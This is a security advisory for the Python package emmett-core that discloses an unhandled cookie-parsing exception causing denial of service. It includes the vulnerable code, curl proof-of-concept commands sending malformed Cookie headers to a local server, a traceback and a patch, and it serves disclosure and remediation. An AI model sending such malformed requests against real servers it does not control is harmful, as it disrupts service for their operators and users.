GHSA-x6cr-mq53-cc76 Emmett-Core: Unhandled CookieError Exception Causing Denial of Service

• PyPI emmett-core: < 1.3.11 → fixed in 1.3.11

Summary The `cookies` property in `emmett_core.http.wrappers.Request` does not handle `CookieError` exceptions when parsing malformed Cookie headers. This allows unauthenticated attackers to trigger HTTP 500 errors and cause denial of service. Details Location: `emmett_core/http/wrappers/__init__.py` (line 64) Vulnerable Code: ```python @cachedprop def cookies(self) -> SimpleCookie: cookies: SimpleCookie = SimpleCookie() for cookie in self.headers.get("cookie", "").split(";"): cookies.load(cookie) # No exception handling return cookies ``` PoC Sending cookies containing special characters such as /(){} will result in insufficient error handling and a server error. ```bash $ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:/security=test" Internal error Time: 0.024363s ``` After the same error occurs several times, the server cannot process it normally. ```bash $ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:(security=test" Internal error Time: 60.069334s $ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:security=test" Internal error Time: 60.074031s ``` This is server log. ```bash [2026-02-03 08:23:40,541] ERROR in handlers: Application exception: Traceback (most recent call last): File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett/rsgi/handlers.py", line 70, in dynamic_handler http = await self.router.dispatch(request, response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/router.py", line 240, in dispatch return await match.dispatch(reqargs, response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py", line 57, in dispatch await self._parallel_flow(self.flow_open) File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py", line 17, in _parallel_flow raise task.exception() File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/sessions.py", line 102, in open_request if self.cookie_name in self.current.request.cookies: ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/utils.py", line 37, in __get__ obj.__dict__[self.__name__] = rv = self.fget(obj) ~~~~~~~~~^^^^^ File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/http/wrappers/__init__.py", line 64, in cookies cookies.load(cookie) ~~~~~~~~~~~~^^^^^^^^ File "/usr/lib/python3.13/http/cookies.py", line 516, in load self.__parse_string(rawdata) ~~~~~~~~~~~~~~~~~~~^^^^^^^^^ File "/usr/lib/python3.13/http/cookies.py", line 580, in __parse_string self.__set(key, rval, cval) ~~~~~~~~~~^^^^^^^^^^^^^^^^^ File "/usr/lib/python3.13/http/cookies.py", line 472, in __set M.set(key, real_value, coded_value) ~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/lib/python3.13/http/cookies.py", line 335, in set raise CookieError('Illegal key %r' % (key,)) http.cookies.CookieError: Illegal key '/security' ``` Impact This vulnerability allows unauthenticated attackers to cause denial of service and performance degradation by sending malformed Cookie headers. After this vulnerability occurs, we expect it to be difficult to use the normal service. patch `/emmett_core/http/wrappers/__init__.py` ```python • from http.cookies import SimpleCookie + from http.cookies import SimpleCookie, CookieError # add CookieError ... ... @cachedprop def cookies(self) -> SimpleCookie: cookies: SimpleCookie = SimpleCookie() for cookie in self.headers.get("cookie", "").split(";"): • cookies.load(cookie) + try: + cookies.load(cookie) + except CookieError: + continue return cookies ```